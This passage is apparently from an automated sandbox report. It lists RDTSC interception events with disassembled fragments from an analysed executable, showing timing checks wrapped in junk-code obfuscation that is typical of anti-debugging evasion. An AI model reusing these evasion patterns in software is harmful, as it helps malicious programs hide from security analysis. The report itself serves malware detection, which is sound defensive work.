Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3D55 second address: DA3D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2F94 second address: DA2FA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2FA5 second address: DA2FAF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9724BF79BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3D59 second address: DA3D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9724523DD5h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F9724523DCCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3D88 second address: DA3D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3D8D second address: DA3DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F9724523DC8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 sub dword ptr [ebp+1246F6BCh], ecx 0x0000002a push 00000000h 0x0000002c mov ebx, dword ptr [ebp+122D1BDBh] 0x00000032 mov ebx, edx 0x00000034 push 00000000h 0x00000036 xor ebx, dword ptr [ebp+1245088Eh] 0x0000003c xchg eax, esi 0x0000003d jnc 00007F9724523DE3h 0x00000043 push eax 0x00000044 jp 00007F9724523DDCh 0x0000004a push eax 0x0000004b push edx 0x0000004c push edi 0x0000004d pop edi 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4D71 second address: DA4E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F9724BF79C9h 0x0000000d push esi 0x0000000e jmp 00007F9724BF79BCh 0x00000013 pop esi 0x00000014 popad 0x00000015 nop 0x00000016 xor edi, dword ptr [ebp+12456C4Bh] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F9724BF79B8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov dword ptr [ebp+12456A44h], ecx 0x0000003e push 00000000h 0x00000040 call 00007F9724BF79BBh 0x00000045 mov edi, dword ptr [ebp+122D2BBAh] 0x0000004b pop edi 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push ecx 0x0000004f jmp 00007F9724BF79C1h 0x00000054 pop ecx 0x00000055 push eax 0x00000056 push edx 0x00000057 jp 00007F9724BF79B6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3F79 second address: DA3F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E04 second address: DA4E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3F7F second address: DA3F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3F84 second address: DA3F8E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9724BF79BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3F8E second address: DA4024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bx, DC8Ah 0x0000000d push dword ptr fs:[00000000h] 0x00000014 add dword ptr [ebp+1244F2B1h], edx 0x0000001a pushad 0x0000001b mov ecx, dword ptr [ebp+122D2A5Eh] 0x00000021 mov esi, dword ptr [ebp+122D35E3h] 0x00000027 popad 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f pushad 0x00000030 mov ebx, dword ptr [ebp+12450879h] 0x00000036 sub dword ptr [ebp+122D36A4h], eax 0x0000003c popad 0x0000003d mov dword ptr [ebp+1246BF7Fh], eax 0x00000043 mov eax, dword ptr [ebp+122D10F9h] 0x00000049 pushad 0x0000004a mov dx, si 0x0000004d sub dword ptr [ebp+122D1B5Dh], edx 0x00000053 popad 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push ebp 0x00000059 call 00007F9724523DC8h 0x0000005e pop ebp 0x0000005f mov dword ptr [esp+04h], ebp 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc ebp 0x0000006c push ebp 0x0000006d ret 0x0000006e pop ebp 0x0000006f ret 0x00000070 mov bl, ECh 0x00000072 sub edi, dword ptr [ebp+1247D944h] 0x00000078 mov edi, dword ptr [ebp+122D1BEDh] 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007F9724523DCCh 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4024 second address: DA4029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6EE4 second address: DA6EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6EEB second address: DA6F49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724BF79BEh 0x00000008 jnl 00007F9724BF79B6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop esi 0x00000017 pop edx 0x00000018 nop 0x00000019 jnc 00007F9724BF79B9h 0x0000001f push 00000000h 0x00000021 jmp 00007F9724BF79C7h 0x00000026 push 00000000h 0x00000028 jmp 00007F9724BF79C1h 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F49 second address: DA6F4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F4F second address: DA6F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724BF79BBh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F9724BF79BFh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6170 second address: DA6174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6174 second address: DA6198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9724BF79C0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA04A second address: DAA051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA051 second address: DAA057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8241 second address: DA8250 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9724523DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA921A second address: DA922F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9724BF79B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F9724BF79B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8250 second address: DA8273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9724523DD9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB2E2 second address: DAB2F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA922F second address: DA9238 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE07A second address: DAE0B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9724BF79C9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8273 second address: DA8277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE0B1 second address: DAE0CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA70EA second address: DA70EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA71CA second address: DA71D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F9724BF79B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4ED second address: DAF4F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA71D8 second address: DA71DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF4F2 second address: DAF4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB06A7 second address: DB06AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB29E2 second address: DB29E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB29E8 second address: DB29ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB29ED second address: DB2A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007F9724523DDAh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2A05 second address: DB2A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2A0B second address: DB2A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4019 second address: DB402A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724BF79BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB402A second address: DB4033 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4033 second address: DB4039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB7537 second address: DB7543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB322 second address: DBB368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9724BF79C7h 0x0000000a popad 0x0000000b push ebx 0x0000000c jnl 00007F9724BF79B6h 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F9724BF79BEh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 ja 00007F9724BF79B6h 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB368 second address: DBB371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB4E2 second address: DBB4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724BF79C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB65A second address: DBB65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB65E second address: DBB662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB662 second address: DBB66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB66C second address: DBB672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB672 second address: DBB676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBB676 second address: DBB67A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEA73 second address: DBEA7D instructions: 0x00000000 rdtsc 0x00000002 js 00007F9724523DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEA7D second address: DBEAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F9724BF79C5h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEAA1 second address: DBEAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEAAF second address: DBEAB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEAB3 second address: DBEAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4925 second address: DC496B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9724BF79C7h 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F9724BF79BFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC496B second address: DC4975 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9724523DC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5331 second address: DC5341 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9724BF79C2h 0x00000008 jnc 00007F9724BF79B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC561B second address: DC562A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 jp 00007F9724523DC6h 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC577D second address: DC5783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5783 second address: DC5787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5900 second address: DC592F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9724BF79C3h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9724BF79C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC736B second address: DC736F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC736F second address: DC738C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCBDC second address: DCCBFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F9724523DD9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCBFF second address: DCCC19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCC19 second address: DCCC1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB8AA second address: DCB8C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C3h 0x00000007 jbe 00007F9724BF79B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB8C7 second address: DCB8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724523DCDh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB8DA second address: DCB8E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB59D second address: DCB5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F9724523DC6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC4A3 second address: DCC4A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC4A7 second address: DCC4B1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9724523DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC4B1 second address: DCC4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 js 00007F9724BF79B6h 0x0000000b jo 00007F9724BF79B6h 0x00000011 jnc 00007F9724BF79B6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push esi 0x0000001e jns 00007F9724BF79B6h 0x00000024 pop esi 0x00000025 jng 00007F9724BF79BCh 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC4E5 second address: DCC4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC617 second address: DCC621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9724BF79B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC621 second address: DCC637 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC637 second address: DCC63D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC63D second address: DCC666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F9724523DCDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC666 second address: DCC66A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1382 second address: DD1388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1388 second address: DD1393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9724BF79B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1BC2 second address: DD1BCA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1BCA second address: DD1BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnl 00007F9724BF79B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1E52 second address: DD1E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1E5C second address: DD1E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F9724BF79BCh 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2179 second address: DD217D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2557 second address: DD255B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD255B second address: DD256C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724523DCBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
